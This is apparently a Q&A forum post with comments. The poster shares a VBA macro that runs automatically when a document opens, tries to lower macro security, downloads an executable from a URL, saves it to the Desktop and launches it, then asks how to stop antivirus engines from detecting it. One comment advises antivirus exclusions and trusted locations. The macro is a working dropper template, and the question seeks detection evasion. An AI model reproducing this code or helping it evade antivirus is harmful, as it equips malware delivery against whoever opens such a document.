0

I have this VBA code that works perfectly but the problem I have is the code been detected by Major antivirus when scanned on Virustotal.com. Its a 52% detection rate which is very poor. From the scan result, major antivirus as detecting downloader.autdwnlrner/w97m and GT:VB.AutDwnlRner.1.4E2AC9F2

Below is the code:

Sub AutoOpen()
    EnableMacros
    DownloadAndExecute
End Sub

Sub EnableMacros()
    Application.AutomationSecurity = msoAutomationSecurityLow
End Sub

Sub DownloadAndExecute()
    Dim url
    url = "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"
    
    Dim filePath
    filePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\putty.exe"
    
    Dim http
    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
    
    http.Open "GET", url, False
    http.Send
    
    Dim stream
    Set stream = CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 1 ' Binary data
    stream.Write http.ResponseBody
    stream.SaveToFile filePath, 2 ' Overwrite existing file
    stream.Close
    
    ' Execute the downloaded file
    Dim shell
    Set shell = CreateObject("WScript.Shell")
    shell.Run """" & filePath & """", 1, False
    
    ' Clean up the objects
    Set stream = Nothing
    Set http = Nothing
    Set shell = Nothing
End Sub

My Questions is, what can be done to this code that can prevent it from been detected by major antivirus.

Uisng a line breaker couldn't work, so I DON'T know what else to do that can be done that can make it work.

BigBen
  • 46,229
  • 7
  • 24
  • 40
Dieketseng Moreki
  • 1
  • Since the above code downloads a **exe file** from URL and runs it, heuristically speaking it may be dangerous... So, you cannot do anything to make it run without being detected as a possible threat, I am afraid. What you can try, is to place the workbook containing it in the antivirus exclusions and try downloading on a Desktop subfolder and also place that path in the antivirus excluded locations and also the exe itself. You should also place the workbook in discussion in Excel trusted locations. Otherwise, Excel itself may find it as a threat... But, what that exe file does, in fact? – FaneDuru Jun 08 '23 at 13:13
  • Why do you need to download the executable each time? Download it once, save it locally and monitor for updates. – Kostas K. Jun 08 '23 at 14:36

0 Answers0